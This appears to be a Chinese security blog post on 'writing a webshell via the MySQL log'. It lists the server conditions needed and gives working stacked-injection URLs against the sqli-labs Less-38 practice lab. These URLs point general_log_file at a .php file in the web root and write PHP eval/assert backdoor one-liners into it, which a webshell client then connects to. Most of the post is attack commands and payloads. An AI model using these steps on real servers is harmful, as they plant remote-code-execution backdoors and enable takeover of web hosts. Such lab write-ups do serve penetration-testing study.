mysql日志写马

mysql日志写马

条件

1.全局变量general_log为ON。

mysql有两个全局变量:general_log指的是日志保存状态,值为ON/OFF,general_log_file指的是日志的保存路径。

只有当general_log为ON时,日志才会被记录进去,所以我们要先打开这个全局变量,使用命令查看全局变量状态‘

show global variables like "%general_log%";

image-20250329210725469

使用命令打开

set global general_log='on';

image-20250329210800439

打开之后,日志文件中就会记录我们写的sql语句(不论sql语句是否正确都会记录进去

我们可以通过命令

set global general_log_file=''

来设置日志文件地址(其中路径里的\用\\或者/代替,因为\的话会消失一个)

image-20250329210910955

2.需要secure_file_priv为空

即secure_file_priv="";或者secure_file_priv 为 general_log_file ⽇志的保存路径的磁盘。如果 secure_file_priv 固 定为G:\,⽽⽹站是搭在F盘上,那把 general_log_file 修改为G盘下的⽂件也连接不到,除非还有⽂件包含漏洞等等。

使用命令查看可以写入的文件

show global variables like '%secure%';

image-20250329210936134

当secure_file_priv为空,就可以写⼊磁盘的⽬录。

当secure_file_priv为G:\,就可以写⼊G盘的⽂件。

当secure_file_priv为null,into outfile就不能写⼊⽂件。(注意NULL不是我们要的 空,NULL和空的类型不⼀样)

secure_file_priv=""就是可以into outfile写⼊任意磁盘⽂件。 secure_file_priv设置通过设置my.ini来配置,不能通过SQL语⾔来修改,因为它是只读变量.

若secure_auth为ON,则⽤以下命令变为OFF(mysql查询默认是不区分⼤⼩写的)

set global secure_auth="off";

secure_file_priv不能通过此⽅法修改,因为报错为Variable 'XXX' is a read only variable。 报错原因及修改⽅法为: 参 数 为 只 读 参 数 , 需 要 在 mysql.ini 配 置 ⽂ 件 中 更 改 该 参 数 , 之 后 重 启 数 据 库

image-20250329185350643

3.对web⽬录有写权限

MS的系统就不说了,⼀般都会有权限的,但是linux的系统,通常都是rwxr-xr-x,也就是说组跟其他⽤户都没有权限写操作。

4.知道物理路径(into outfile '物理路径'),

这样才能写对⽬录。 使用命令

select @@basedir;

image-20250329211001471

5.对⽅没有对 ' 和 " 进⾏过滤,因为outfile后⾯的物理路径必须要有引号

方法

1.直接登录进别⼈的数据库的时候

set global general_log_file='...php';

select '<?php assert($_POST[v]);?>';

2.使用堆叠注入:

set global general_log_file='...php';

?id=1;select '<?php assert($_POST[v]);?>';
或者直接?id=<?php assert($_POST[v]);?>;
因为sql语句不管对错⽇志都会记录

不过前提堆叠注⼊的条件,源码中必须要⽤到 mysqli_multi_query() 函数,此处才可以执⾏多个sql语句进⾏注⼊。⼀般后台查询数据库使⽤的语句都是⽤mysql_query() 函数,所以堆叠注⼊在mysql上并不常⻅。 mysqli_multi_query() 可以执⾏多 个sql语句,⽽ mysqli_query() 只能执⾏⼀个sql语句。 因此堆叠注⼊的局限性在于并不是每⼀个环境下都可以执⾏,可能受到API或者数据库引擎不支持的限制。

(union注入在这行不通 。 因 为要日志写马能 够 连 接 必 须 要 修 改 general_log_file 为⽐如 php 后缀的⽂件,不然⻢不能被解析。所以必须要先⽤到 set global general_log_file=',那么union注⼊就没机会了,union基本都是 ? id=1 union select 1,2,select ''; 这样,不能执⾏ set 的)

示例

这里以sql-lab靶场为例

1先设置 general_log 为on

http://localhost/sqli-labs/Less-38/?id=-1' union select 1,2,3;set global general_log='on';--+

2再设置 general_log_file 为⼀个php后缀⽂件:

localhost/sqli-labs/Less-38/?id=-1' union select 1,2,3;set global general_log_file='F:\\phpstudy\\phpstudy_pro\\www\\1.php';--+

查询发现修改成功

image-20250329212858717

3写入木马

http://localhost/sqli-labs/Less-38/?id=1';select '<?php eval($_POST[cmd]);?>';--+

4最 后 可 以 ⽤工具连接

image-20250329220459028

直接成功登录数据库的⽇志写⻢可以说是方法和堆叠注入的差不多,就是可以⽤ show 来看全局变量的值。这⾥就不赘述了。

posted @ 2025-03-29 22:26  根本睡不醒#  阅读(266)  评论(0)    收藏  举报